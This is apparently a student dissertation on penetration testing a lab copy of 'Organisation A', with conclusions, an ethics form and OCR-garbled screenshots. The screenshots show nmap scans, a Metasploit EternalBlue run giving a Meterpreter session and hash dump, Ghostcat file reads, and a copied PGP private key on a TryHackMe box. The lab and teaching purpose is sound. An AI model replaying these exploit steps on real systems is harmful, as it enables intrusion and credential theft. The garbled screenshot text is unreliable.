An OpenVAS scan was run over Organisation A’s network to generate a report of CVEs. This produced over 90 results ranging in severity from 10 (the maximum) to 2.6.
This report was used to determine which attack vectors would be the most likely to succeed in penetrating Organisation’s A security.
Follina was used to breach the network security perimeter and although it worked on the testbed, if Organisation A had Microsoft Defender software running then this would have been blocked.
EternalBlue was successfully executed, allowing RCE to take place. This in turn allowed two flags to be captured on the victim machine.
Ghostcat was implemented which allowed the victim machine to be compromised with one flag initially captured and following an escalation of privileges the root.txt was obtained.
Jerry with MSFVenom was run, a .WAR file was created and uploaded allowing a remote shell to be established. This in turn led to both flags being captured.
The conclusion drawn from these experiments is that whilst Organisation A’s results from the OpenVAS scan show many vulnerabilities, it was difficult to recreate a testbed that includes Organisation A’s security software. Therefore, whilst the testbed results are positive and demonstrate that Organisation A was vulnerable, these results may not be as easy to achieve against their network as it was within the testbed experiments.
[bookmark: _Toc111981719]7.2 	Recommendations
For this project to be more complete, the author requires more knowledge creating payloads, in particular, an .RTF document for the Follina exploit to attempt a bypass of Microsoft Defender. A more accurate result would be achieved if these tests were executed against Organisation A rather than using a testbed environment.

[bookmark: _Toc111981720]CHAPTER 8: REFLECTIONS
The success of the testbed experiments proved that there were residual weaknesses within Organisation A’s network. The lessons learned include exploits and payloads, how they are created and applied together with a greater understanding of coding in Linux.
The use of a project planner allowed me to complete the project in a timely manner, achieving the aim and objectives.
The project would have benefitted from the ability to be tested against Organisation A’s network as the results would have been more compelling. 
Many new skills were acquired during this project and many current skills were honed, both of which will assist the author with their future career.
Following this project, Organisation A should perform regular vulnerability scans and mitigate any vulnerabilities.
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	If Yes, please provide details here of how you will gain access to specific documentation that is not in the public domain and that this is in accordance with prevailing data protection law of the country in question and England and Wales.




SECTION F: Scope of Research Activity

	1
	Will the research activity include:
	
YES
	
NO

	2
	Use of a questionnaire or similar research instrument?
	☐
	☒

	3
	Use of interviews?
	☐
	☒

	4
	Use of diaries?
	☐
	☒

	5
	Participant observation with their knowledge?
	☐
	☒

	6
	Participant observation without their knowledge?
	☐
	☒

	7
	Use of video or audio recording?
	☐
	☒

	8
	Access to personal or confidential information without the participants’ specific consent?
	☐
	☒

	9
	Administration of any questions, test stimuli, presentation that may be experienced as physically, mentally or emotionally harmful / offensive?
	☐
	☒

	10
	Performance of any acts which may cause embarrassment or affect self-esteem?
	☐
	☒

	11
	Investigation of participants involved in illegal activities?
	☐
	☒

	12
	Use of procedures that involve deception?
	☐
	☒

	13
	Administration of any substance, agent or placebo?
	☐
	☒

	14
	Working with live vertebrate animals?
	☐
	☒

	15
	Other primary data collection methods, please explain in this box
For example, ‘focus groups’. Please indicate the type of data collection method(s) in this box and tick the accompany box.
	☒
	☐

	16
	Details of any other primary data collection method:

When the exploits are run in the virtual environment the results will form the primary data.

	
	


If NO to every question, then the research activity is (ethically) low risk and may be exempt from some of the following sections (please refer to Guidance Notes).

If YES to any question, then no research activity should be undertaken until full ethical approval has been obtained. 

SECTION G: Intended Participants
	1
	Who are the intended participants:
	YES
	NO

	2
	Students or staff at the University?
	☐
	☒

	3
	Adults (over the age of 18 and competent to give consent)?
	☐
	☒

	4
	Vulnerable adults?
	☐
	☒

	5
	Children and Young People under the age of 18? (Consent from Parent, Carer or Guardian will be required)
	☐
	☒

	6
	Prisoners?
	☐
	☒

	7
	Young offenders?
	☐
	☒

	8
	Those who could be considered to have a particularly dependent relationship with the investigator or a gatekeeper?
	☐
	☒

	9
	People engaged in illegal activities?
	☐
	☒

	10
	Others (please identify specifically any group who may be unable to give consent) please indicate here and tick the appropriate box.

	☐
	☒

	11
	Other – please indicate here:

	
	

	12
	Participant numbers and source
Provide an estimate of the expected number of participants. How will you identify participants and how will they be recruited? 

	13
	How many participants are expected?

	
N/A


	14
	Who will the participants be?

	
N/A


	15
	How will you identify the participants?
	
N/A


	16
	Information for participants:
	
YES
	NO
	
N/A

	17
	Will you describe the main research procedures to participants in advance, so that they are informed about what to expect?
	☐
	☐
	☒

	18
	Will you tell participants that their participation is voluntary?
	☐
	☐
	☒

	19
	Will you obtain written consent for participation?
	☐
	☐
	☒

	20
	Will you explain to participants that refusal to participate in the research will not affect their treatment or education (if relevant)?
	☐
	☐
	☒

	21
	If the research is observational, will you ask participants for their consent to being observed?
	☐
	☐
	☒

	22
	Will you tell participants that they may withdraw from the research at any time and for any reason?
	☐
	☐
	☒

	23
	With questionnaires, will you give participants the option of omitting questions they do not want to answer?
	☐
	☐
	☒

	24
	Will you tell participants that their data will be treated with full confidentiality and that, if published, it will not be identifiable as theirs?
	☐
	☐
	☒

	25
	Will you debrief participants at the end of their participation, in a way appropriate to the type of research undertaken?
	☐
	☐
	☒

	26
	If NO to any of above questions, please give an explanation 

	27
	

	28
	Information for participants:
	
YES
	NO
	
N/A

	29
	Will participants be paid?
	☐
	☐
	☒

	30
	Is specialist electrical or other equipment to be used with participants?
	☐
	☐
	☒

	31
	Are there any financial or other interests to the investigator or University arising from this study?
	☐
	☐
	☒

	32
	Will the research activity involve deliberately misleading participants in any way, or the partial or full concealment of the specific study aims?
	☐
	☐
	☒

	33
	If YES to any question, please provide full details 



SECTION H: Anticipated Risks

	1
	
Outline any anticipated risks that may adversely affect any of the participants, the researchers and/or the University, and the steps that will be taken to address them. 

If you have completed a full risk assessment (for example as required by a laboratory, or external research collaborator) you may append that to this form.  

	2
	Full risk assessment completed and appended? 

	Yes 
	

	
	
	No
	

	3
	Risks to participants
For example: emotional distress, financial disclosure, physical harm, transfer of personal data, sensitive organisational information

	4
	Risk to Participant:

N/A
	How will you mitigate the Risk to Participant

N/A


	5
	If research activity may include sensitive, embarrassing or upsetting topics (e.g. sexual activity, drug use) or issues likely to disclose information requiring further action (e.g. criminal activity), give details of the procedures to deal with these issues, including any support/advice (e.g. helpline numbers) to be offered to participants. Note that where applicable, consent procedures should make it clear that if something potentially or actually illegal is discovered in the course of a project, it may need to be disclosed to the proper authorities

	
	
N/A


	6
	Risks to investigator
For example: personal safety, physical harm, emotional distress, risk of accusation of harm/impropriety, conflict of interest


	
	Risk to Investigator:

N/A
	How will you mitigate the Risk to Investigator:

N/A


	7
	University/institutional risks
For example: adverse publicity, financial loss, data protection

	
	Risk to University:

None

	How will you mitigate the Risk to University:

N/A


	8
	Disclosure and Barring Service

	9
	If the research activity involves children or vulnerable adults, a Disclosure and Barring Service (DBS) certificate must be obtained before any contact with such participants.
	YES

	NO

	N/A


	10
	Does your research require you to hold a current DBS Certificate?
	
	
	



SECTION I: Feedback, Consent and Confidentiality

	1
	Feedback
What de-briefing and feedback will be provided to participants, how will this be done and when? 

	
	

	2
	Informed consent
Describe the arrangements to inform potential participants, before providing consent, of what is involved in participating. Describe the arrangements for participants to provide full consent before data collection begins. If gaining consent in this way is inappropriate, explain how consent will be obtained and recorded in accordance with prevailing data protection legislation.

	
	

	3
	Confidentiality / Anonymity
Set out how anonymity of participants and confidentiality will be ensured in any outputs. If anonymity is not being offered, explain why this is the case. 


	
	



SECTION J: Data Protection and Storage
In completing this section refer to the University’s Research Data Management Policy and the extensive resources on the University’s Research Data Management web pages (http://uwtsd.ac.uk/library/research-data-management/).
	1
	Does the research activity involve personal data (as defined by the General Data Protection Regulation 2016 “GDPR” and the Data Protection Act 2018 “DPA”)?
	YES
	NO

	
	“Personal data” means any information relating to an identified or identifiable natural person (‘data subject’). An identifiable natural person is one who can be identified, directly or indirectly, in particular by reference to an identifier such as a name, an identification number, location data, an online identifier or to one or more factors specific to the physical, physiological, genetic, mental, economic, cultural or social identity of that natural person.
	☐
	

	2
	If YES, provide a description of the data and explain why this data needs to be collected:

	
	


	3
	Does it involve special category data (as defined by the GDPR)?
	YES
	NO

	
	“Special category data” means sensitive personal data consisting of information as to the data subjects’ –
(a) racial or ethnic origin,
(b) political opinions,
(c) religious beliefs or other beliefs of a similar nature,
(d) membership of a trade union (within the meaning of the Trade Union and Labour Relations (Consolidation) Act 1992),
(e) physical or mental health or condition,
(f) sexual life,
(g) genetics,
(h) biometric data (as used for ID purposes),
	
☐
	


	4
	If YES, provide a description of the special category data and explain why this data needs to be collected:



	5
	
Will the research activity involve storing personal data and/or special category data on one of the following:
	YES
	NO

	6
	Manual files (i.e. in paper form)?
	☐
	☒

	7
	University computers?
	☐
	☒

	8
	Private company computers?
	☐
	☒

	9
	Home or other personal computers?
	☐
	☒

	10
	Laptop computers/ CDs/ Portable disk-drives/ memory sticks?
	☐
	☒

	11
	“Cloud” storage or websites?
	☐
	☒

	12
	Other – specify:

	☐
	☒

	13
	For all stored data, explain the measures in place to ensure the security of the data collected, data confidentiality, including details of password protection, encryption, anonymisation and pseudonymisation:

	
	
 

	14
	All Data Storage

	15
	Will the research activity involve any of the following activities:
	YES
	NO

	16
	Electronic transfer of data in any form?
	☐
	☒

	17
	Sharing of data with others at the University?
	☐
	☒

	18
	Sharing of data with other organisations?
	☐
	☒

	19
	Export of data outside the European Union or importing of data from outside the UK?
	☐
	☒

	20
	Use of personal addresses, postcodes, faxes, emails or telephone numbers?
	☐
	☒

	21
	Publication of data that might allow identification of individuals?
	☐
	☒

	22
	Use of data management system?
	☐
	☒

	23
	Data archiving?
	☐
	☒

	24
	If YES to any question, please provide full details, explaining how this will be conducted in accordance with the GDPR and DPA (and/or any international equivalent):

	
	

	25
	List all who will have access to the data generated by the research activity:

	
	
Associate Professor Carlene Campbell, and Dr Nitheesh Kaliyamurthy, both lecturers at UWTSD Swansea and any external examiners. 


	26
	List who will have control of, and act as custodian(s) for, data generated by the research activity:

	
	
Myself.


	27
	Give details of data storage arrangements, including security measures in place to protect the data, where data will be stored, how long for, and in what form. Will data be archived – if so how and if not why?  


	
	
Data will be kept on the UWTSD cloud storage system (which has encryption and multiple factor authentication) until the assignment has been marked and verified by external examiners. 


	28
	Please indicate if your data will be stored in the UWTSD Research Data Repository (see https://researchdata.uwtsd.ac.uk/ ).   If so, please explain. (Most relevant to academic staff) 

	
	
N/A


	29
	Confirm that you have read the UWTSD guidance on data management (see https://www.uwtsd.ac.uk/library/research-data-management/)
	YES
	

	
	
	NO
	

	30
	Confirm that you are aware that you need to keep all data until after your research has completed or the end of your funding
	YES
	

	
	
	NO
	



SECTION K: Declaration

	31
	The information which I have provided is correct and complete to the best of my knowledge. I have attempted to identify any risks and issues related to the research activity and acknowledge my obligations and the rights of the participants.

In submitting this application, I hereby confirm that I undertake to ensure that the above named research activity will meet the University’s Research Ethics and Integrity Code of Practice which is published on the website: https://www.uwtsd.ac.uk/research/research-ethics/ 

	
	Signature of applicant:
	Helen Frey
	Date: 19/6/22



For STUDENT Submissions:

	32
	Director of Studies/Supervisor:
	Carlene Campbell
	Date:

21/06/2022

	33
	Signature:
	[image: ]

	



For STAFF Submissions:
	34
	Academic Director/ Assistant Dean:
	
	Date:

	35
	Signature:
	

	



Checklist: Please complete the checklist below to ensure that you have completed the form according to the guidelines and attached any required documentation:
	☒
	I have read the guidance notes supplied before completing the form.

	☒
	I have completed ALL RELEVANT sections of the form in full.

	☐
	I confirm that the research activity has received approval in principle

	☐
	I have attached a copy of final/interim approval from external organisation (where appropriate)

	☐
	I have attached a full risk assessment (and have NOT completed Section H of this form) (where appropriate) ONLY TICK IF YOU HAVE ATTACHED A FULL RISK ASSESSMENT

	☒
	I understand that it is my responsibility to ensure that the above-named research activity will meet the University’s Research Ethics and Integrity Code of Practice.

	☒
	I understand that before commencing data collection all documents aimed at respondents (including information sheets, consent forms, questionnaires, interview schedules etc.) must be confirmed by the DoS/Supervisor, module tutor or Academic Director.

	☒

	I have deleted the guidance notes before submitting the PG2 for consideration
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L nmap -sC -sV -oN nmap/initial 192.168.1.10

Starting Nnap 7.92 ( https://nmap.org ) at 2022-07-04 11:30 EDT

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.43 seconds

[t kati)-(~]

$ nmap -Pn -SC -5V -oN nmap/initial 192.168.1.10

Starting Nnap 7.92 ( https://nmap.org ) at 2022-07-04 11:31 EDT

Nmap scan report for tony-pc.home (192.168.1.10)

Host is up (0.165 latency).

Not shown: 996 filtered tcp ports (no-response)

PORT  STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (wo
rkgroup: WORKGROUP)

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
I_http-server-header: Microsoft-HTTPAPI/2.0

I http-title: Service Unavailable

service Info: Host: TONY=PC; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results
I smba-security-mod
12,
I_  Message signing enabled but not required

I clock-skew: mean: -20m555, deviation: 34n37s, median: -565

IZnbstat: NetBIOS name: TONY-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:
b (oracle VirtualBox virtual NIC)

| smb-security-mode:

| account_used: guest
| authentication level: user

| challenge_response: supported

I_ message_signing: disabled (dangerous, but default)
1" smb2-tine

| date: 2022-07-04T15:
I_ start_date: 2022-07-
I
I
I
I
I
I
I

254
T13:36:05

‘smb-o0s-discover:
05: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
05 CPE: cpe:/ozmicrosoft:windows_7 :: spl:professional
Computer name: Tony-PC
Net8I0S computer name: TONY-PC\xD(

Workgroup: WORKGROUP\x00
System time: 2022-07-04T16:

401

Service detection performed. Please report any incorrect results at https://nmap.org/su
bmit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.16 seconds

—(kali® kali)-[~]




image91.png
[———

Fle Actions Edt View Help

Juse/shave/nnap/scripts exmark-conf g nse
Juse/share/map/scripts/dns-brute.nse.
JusrShare/onsp/Scripts/snap- processes.nse
Juse/share/map/Scripts et iln-cve2o13-1091.nse
Jusr/Shaee/onsp/ScHipts/pvo-node. info.nse
Juse/share/map/scripts /et ln-cve2017-1001000.nse.
JuseShare/explot b, exploi s/l iple/renote/33310-nse
Jusr<hare/explos ) explosts,/ hardware /webappe/ 1527 e
Juse Shaxe/Legion/scripes /mmsp/uslners nse
Juse/share/Legion/scripts./map/shodan-haznse.
JuseShaee/Legion/scripts,/nup/shodan-3p1-nse.

Tuse/sharemmap/scripts

Juse/shavo/nmsp/seripts:
ips: /a1 thubusercontant - con/cldrn/neap-nse-scripts easter/scripts/sub-vu

n-ms17-010:nee

2022-07-05 05:10:46- _nttps: //xaw.gichubusercontent .con/cLérn/nmap-se-scripes/aaste
c/acripts/smb-valn-ns17-010.neo
Resolving rou.Fithubussrcontent.con (ram.githubusercontent. con)
2606:50c0: 8083 154, 2608:50¢D: 0000~ 1545
omeceing o i Gitniusarconcent. con (o ichubuserconten.comonesac 00t 154
HIT? raquest sent, awaiting response .. 200 OK
Lengeh: 7345 (7:08) [Loxt/piaing
SobSuuin na17-010.nse. . Permission deniea

Camot weite to “sab-vuln-as17-010.n50.1" (permission denied).

Juse/share/nmap/scripts:
s/ i i thibusarcontent . con/cLdrn/mmap-nse-scripts/master/scripts/s

mtvuln-med7 010.nse

2072797705 06711709 hutps: //xaw.githubusercontent .con/Lérn/nasp-nse-scripts/maste

£/scripts/smb-voln-ns17-010.nse

Resolving Tow-githubusercontont con (ram.githubusercontent.con) .. 2606506076002 156,

Connecting 1o raw.g1thubusereontent.con (+an.g1thubusercontent. con)| 2606150078002 154

T3 . comectea:

HIT? raquest sent, awaiting response .. 200 0K

Lengen: 7345 (7:0K) [toxt/plain]

Saving to: sab uula-nsir 010.nse 1"

sab-vula-nsi-g

onse dox——— ] G.omk —.xa/s  in o.00ss
2022-7-05 06:11:09 (1.12 K/5) - “smb-vln-ms17-010.nse. 1" saved [7145/7345)
Juse/sharo/mmap/scripts:
]
TGS




image92.png
Glatiem
sudo maap —script. sab-
[oudo] password for k.
Starting Neap 7.92 ( https: //oaap.org ) at 2022-07-95 11:28 EOT
Nazp scan report. for tony-pehoma (192.165.1.10)

Host 15 up (0.000755 atancy)-

nsa —p 445 192.168.1.10

PORT STATE seRvICE
/e open
e Adgress: o

FA:78 (Oracle VirtuatBox virtusl NIC)

Host script resul
I zmo vutnenair-ot0:
1 " VolNeRaste.
Renote Code Execution wilnerability in Wicrosoft SHBvL servers (ns17-
State: WIKERABLE
Risk factor: HIGH
A critical remote code exccution vulnersbility exists in Microzoft SHevl
servers (as17-010)

Disclosure date: 2017-03-14

1
I
1
I
1
I
1
I
| Referances:
i
i
I

httpa://blogs. technet alcrosoft..con/msre/2017/05/12/cus toner-guidance-for-manma.
oypt-attacks/

hetpat //cve.mitre.org/cai-bin/cuename.calZnane-CVE-2017-
ttpa: //echnet micrasort. con/en-ue/ibrary,securi ty/mel

Nezp done: 1 19 address (1 Host up) scamned in 0.51 seconds.

Cleuiek-t1
1




image93.png
o
Flle Actons Edit View Help

Gletok-r1
S msrconsole.

/ext/hadon, oy Dat.
~esSacKCoinsve. At
—7-5sh/id.rea.es-
“aopoRt. No<nanass

me sl aldke
PLACEDRINKHERE
asoxploit 3

fescripo acsie/

hevnantSurohzon.
Somap 05
prcen

<[ netasploit v6.1.39-dev

2 ZI0 610 paytoads - 45 encodors - 11 nops
LT oo eston

Metasploit tip: When in a module, use back to g0
Back o the top Lovel prompt

nss > 0

+ = —o[ 214 exploits - 1171 auciliary - 396 post

500~ Destroy.o.0atas:
o2 Chintain . persistence—no-
002 ~Above AL ELseDo.Mo: Harm—do:

30011 oG/
71117 enbove-913. EL s
“heNoiuzerurotehe
TR suo- A
The.przoy. .7
. cndanail. v
Mi40.52. o por
Shunoveaio o
ShSSTER 1
/TRt o
VRGOTG2GTVP:
Teorykemeaypata:
S0, 0178308Ence.
/shuTtibeatsso-o.
DestRoyROCaI/M
SSETECLASTRONBYISE:
o
ShalL.le_PLay.A.Ganertron)
ooy iigntforientaers
< 01V3. U2V RFUN. e

RIMNE,ARE. 56 AW





image94.png
msf6 > search ms17-010

Matching Modules

o Name Disclosure Date Rank Check Descri

average Yes

normal  Yes
B8 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Executiol
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal  No
8 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution|
3 auxiliary/scanner/smb/smb_ms17_010 normal  No
{8 sme RCE Detection]
4 exploit/windows/smb/smb_doublepulsar_rce 2017-@4-14 great Yes
UBLEPULSAR Remote Code Execution
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msF6 explodt(indows/sub/nsl
RHOST = 192.168.1.10
mSF6 exploit(indons/snb/msl /.

fernalilue) > set RHOST 192.168.1.

ornalblue) > run

[*] Started reverse TCP handler on 192.168.1.11:4444
[+] 192.168.1.10:445 ~ Using auxiliary/scanner/sab/sab_msi7_010 as check
- Host is likely VULNERABLE to MS17-010! - Windows 7 Professi
1 x64 (64-bit)
- Scanned 1 of 1 hosts (100% conplete)
The target is vulnerable.
Connecting to target for exploitation.
Connection established for exploitation.
Target 05 selected valid for 05 indicated by SM8 reply
CORE raw buffer dump (42 bytes)
x00000000 57 69 6o 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Win

0x00000010 73 69 6f 6e 61 6 20 37 36 30 31 20 53 65 72 76 sio

©x00000020 69 63 65 20 50 61 63 6b 20 31 ice

[+] 192.168.1
[*] 192.168.1.
[+] 192.168.1.
[*] 192.168.1
[+] 192.168.1
[+] 192.168.1.
for.

[*] 192.168.
[+] 192.168.
[*] 192.168.
[+] 192.168.
[*] 192.168.1.10:445

Target arch selected valid for arch indicated by DCE/RPC reply
Trying exploit with 12 Groom Allocations.

Sending all but last fragaent of exploit packet

Starting non-paged pool grooming

lc\mng SMBV1 connection creating free hole adjacent to SMBV2 )u

sending final SMBv2 buffers.

Sending last frageent of exploit packet!

Receiving response from exploit packet

ETERNALBLUE overwrite completed successfully (0xC000000D)!
Sending egg to corrupted connection.

[+] 192.168.1.10:445 - Triggering free of corrupted buffer.

[+] Sending stage (200262 bytes) to 192.168.1.10

[*] Meterpreter session 1 opened (192.168.1.11:4444 — 192.168.1.10:49166 ) at 2022-07-
05 11:39:21 04

[+] 192.168.1.10:445 -
[+] 192.168.1.10:445 -
[+] 192.168.1.10:445 -

meterpreter > |

.1
.
.1
.
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[+1 Obtaining the boot key
4] Callulating the Hboot Key using SYSKEY G0sb4da762545b37334c0obbeseb1f59
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ssterareter > shell
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Microsoft Windows [Version 6.1.7601]
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meterpreter > pwd
C:\Windous\systen32
neterpreter > cd C:/
meterpreter > dir

Listing: C:
Mode Size Type Last modified Name

040777/rwxrwxrwx 0 dir  2022-07-01 03:50:31 -0400 $Recycle.Bin
040777/rwxrwxrux 0 dir 0400 Documents and Settings
040777/rwxrwxrwx 0 dir 0400 Perflogs

040555/r-xr-xr-x 4096  dir
040555/r-xr-xr-x 4096  dir
040777 /rwxrwxrwx 4096  dir
040777 /rwxrwxrwx 0 dir
040777 /rwxruxrux 4096  dir
040555/r-xr-xr-x 4096  dir
040777 /rwxrwxrwx 16384 dir
000000/ ———— @ Fif

-0400 Program Files
-0400 Progran Files (x86)
0400 Programbata

-0400 Recovery

0400 System Volume Information
0400 Users

-0400 Windows

0500 pagefile.sys

meterpreter > cd users
meterpreter > dir
Listing: Ci\users

Mode. Size Type Last modified Name
040777/rwxruxrux 0 dir ALL Users
040555/r-xr-xr-x 8192 dir Default
040777 /rwxrwxrwx 0 dir 01:08:56 Default User
040777 /rwxruxrux 8192 dir 03:50:34 Hazel
040555/r-xr-xr-x 4096 dir Public
040777 /rwxrwxrwx 8192 dir Tony

100666/ru-rw-ru- 174 il desktop. ini

meterpreter > cd tony.
meterpreter > dir
Listing: Ci\users\tony

Mode size  Type Last modified Name.

040777 /rwxruxru 0 dir  2022-07-01 0 5 0400 AppData

040777 /rwxruxrw 0 dir
x
040555/r-xr-xr- @ dir

22-07-01 03:40:35 -0400 Application Data

22-07-01 03:40:58 -0400 Contacts.
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meterpreter > cd documents
meterpreter > dir

users\tony\documents

Mode Size Type

100666/rw-ru-ru- 18  fil

040777/rwxrwxrux 0 dir
040777/rwxrwxtwx 0 dir
040777/ruxruxrux 0 dir

100666/ru-rw-ru- 402 fil

netero > lagl. txt

EternalBlue Flag 1

Last modified

2022-07-01 03:49:54 -0400
2022-07-01 03:40:35 -0400
-0400
2022-07-01 03:40:35 -0400
2022-07-01 03:40:58 -0400

Name
Flagl.txt
My Music
My Pictures
My Videos
desktop. ini
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lali@kali: ~

File Actions Edit View Help

040777/ ruxruxru 0 dir 07-01 03:50:28 start Menu
040777 /rwxruxrw 0 dir 07-01 03:50:28 -0400 Templates
x

040555/r-xr-xr- 0 dir  2022-07-01 03:50:37 Videos

100666/rw-rw-rw 262144 fil  2022-07-05 00:39:20

ntuser.dat.L0G1

100666/rw-rw-rw 0 il

100666/rw-rw-Tw 20 £il  2022-07-01 03:50:28

07-01 03:50:28 -0400 ntuser.dat.L0G2

ntuser. ini

meterpreter > cd MyDocuments
[~ stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
meterpreter > cd documents

meterpreter > dir

Listing: C:\users\Hazel\documents

Mode Size Type Last modified Name
100666/rw-rw-rw- 18  Fil Flag 2.txt
040777/rwxrwxrwx 0 dir My Music
040777 /rwxrwxrux 0 dir My Pictures
777/rixruxrwx 0 dir My Videos

100666/rw-rw-rw- 402 il desktop. ini

neterpreter > cat Flag2.txt
|1 stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > cat flag 2.txt

|| stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > cat Flag 2.txt

|| stdapi_fs_stat: Operation failed: The system cannot find the file specified.
neterpreter > cat

Usage: cat file

meterpreter > dir

Listing: C:\users\Hazel\documents

Mode Size Type Last modified Name
100666/rw-rw-ru- 18 il Flaga. txt
0777 /ruxtwerex 0 dir My Music

040777/rwxrwxrwx 0 dir My Pictures
040777 /rwxrwxrux 0 dir My Videos

100666/Tw-rw-Tu- 402 il desktop. ini

meterpreter > cat Flag2.txt
EternalBlue Flag 2meterpreter > |l
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Active Hachine Infornation

Title 1P Address
torghost

Are you sble to complete the challenge?

Answar format: As(ARETsESARRRERSTEIIIR)

Gpruronise this machine ard obtain user. txt

EED) cacatate priviteges and obtatn root. tat

| Answer fornat; 4ssfassesssasasy
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son 13
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5 =

e
$ mkdir tomghost
$ cd tomghost/
$ subl README.md
5 export IP=10.10.249.19
s

e -
# Tomghost

export 1P=10.10.249.194
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INmap scan report for 10.10.249.194
Host is up (0.17s latency).
[Not shown: 996 closed ports
1CE VERSION
OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

3:db:7c (RSA)
te3:e1:1f:b9 (ECDSA)
1c6:53:ea:30:81:80:5d:0c:F1:05 (ED25519)

53/tcp  open tcpwrapoed

8009/tcp open ajp: tpache Jserv (Protocol v1.3)

: Apache Tomcat
| http title: Apache Tomcat/9.0.30
[Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/st
[Nmap done: 1 IP address (1 host up) scanned in 117.39 seconds
john@xps15:~/ctf/tryhackme/tomghost$ |
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Home Documentation Configuration Examples Wiki Mailing Lists Find Help
Apache Tomcat/9.0.30 A APACHE s
f you're seeing this, you've successfully installed Tomeat. Congratulations!
™ Recommended Reading: Server Status
Security Considerations How-To
Manager App
Manager Application How-To e
ClusteringSession Replication Hov-To TETETR

Developer Quick Start

Tomeal Seiwn Reans & ARA Examples ‘Serviel Snecifications
Eirst Web Applicaion JDBC Datasources. Tomeal Versions
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john@xps15:~/ctf/tryhackme/tomghost/Ghostcat-CNVD-2020-10487$ python ajpShooter.py

\ = I [ ==
! NS — N =
I_)\_\\HI()I()III_/I
PR VO VO VY o W VO I

00theway, just for test

usage: ajpShooter.py [-h] [--ajp-ip AJP_IP] [-H HEADER]

[-X {GET,POST ,HEAD,OPTIONS ,PROPFIND}] [-d DATA]

[-0 OUT_FILE] [--debug]

url ajp_port target_file {read,eval}
ajpShooter.py: error: the following arguments are required: url, ajp_port, target_file, shooter
john@xps15:~/ctf/tryhackne/tonghost/Ghostcat-CNVD-2020-10487%




image107.png
R = e
url ajp_port target_file {read,eval}

ajpShooter.py: error: the following arguments are required: url, ajp_port, target_file, shooter

john@xps15:~/ctf/tryhackne/tonghost /Ghosteat-CNVD-2020-160487% python ajpShooter.py http://10.16.249.194:8080/ 88

09 /WEB-INF/web.xnl read
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http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
->
eb-app xmlns="http://xmlns. jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemalocation="http://xmlns. jcp.org/xml/ns/javaee

http://xmlns. jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">

<display-name>Welcome to Tomcat</display-name>
<description>
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john@xps15:~/ctf/tryhackme/tomghost/Ghostcat-CNVD-2020-10487$
The authenticity of host '10.10.249.194 (10.10.249.194)' can' 5
ECDSA key fingerprint is SHA256:hNxvmz+AG4q06z8p74FfXZ1dHreHIsaalFBXSoTlnss.
[Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.249.194' (ECDSA) to the list of known hosts.
skyfuck@10.10.249.194's password:

Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

skyfuck@ubuntu:~$ ls
-redential.pgp tryhackme.asc
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ohn@ps15: -/CCiryFackme(tomarost 11915
iohnexpsis:-/cte/eryhackne/conahosts scp skyfuck@$ip: jhone/skyfuck/= -
skyfuckg16.16.249.194's password:

credential.pgp 100% 394 1.3kB/s  06:00
tryhackme.asc 100% 5144 7.6KB/s  00:00
john@xps15:~/ctf/tryhackme/tomghosts [l
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TryHackMe! Ghostcat CVE-2020-1938

BEGIN PGP PRIVATE KEY BLOCK
Version: BCPG v1.63

1QUBBF50cmIRDADTWU9RL5u016+]j CnuoK58+PEtPhOZfd
j4+q8261PL56tZ6YXMF
3TxA9u2jV73qFdMr5SEwkt TXRLEOOLTGeMzZ9R/
uqe+BeBUNCZW6tqI7wDw/U1DEF
StRTV1+ZmgcAj jwzr2B6qplWHhyi9PIzefiwlsmqSK31M
BWGamkKp/vRB5xMo0r5
ZsFq67z/5KfngjhgkWeGKLwawXPswyIdmdnduWgpwBmdv
TWxPf1lhxkDRbAa3cFD
BOzktgArgROuSQ8s ftGYkS/
uVtyna6qbF4ywND8P6BMpLIsTKhn+r2KwLcihLtPk
VOK3Dfh+6bZeIVam50Qg0AXqvetulyTt7PiCXbvOpQ030
IDgAZDLodoKdTzuaXLa
cuNXmg/wcRELmhiBsKYYCTFtzdF18Pd9cMOLOmMVY/
nfhQKFRGX9kQkHweXVt+Pbb
3AwfUvH+CZD52741053N2aRNibUPdVune7pGQVta
|

/tomghost$ file *

data

directory

directory

exported SGML document, ASCIL text

ASCII text, with CRLF line terminators

$ subl tryhackme.ascl]
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RovoooDooLoo~potacee eo5e0@eLroliosts file *

sfeojohn@xpsis:~/ctf/tryhackne/tonghost$ flcroo(looos]Loo)ome’ *o\0ZQ0oDoBohooo
[Ghostcat-CNVD-2020-10487: directory

nmap: directory
README .md : exported SGML document, ASCII text
tryhackme.asc: ASCII text, with CRLF line terminators

john@xps15:~/ctf/tryhackme/tonghost$ subl tryhackme.asc
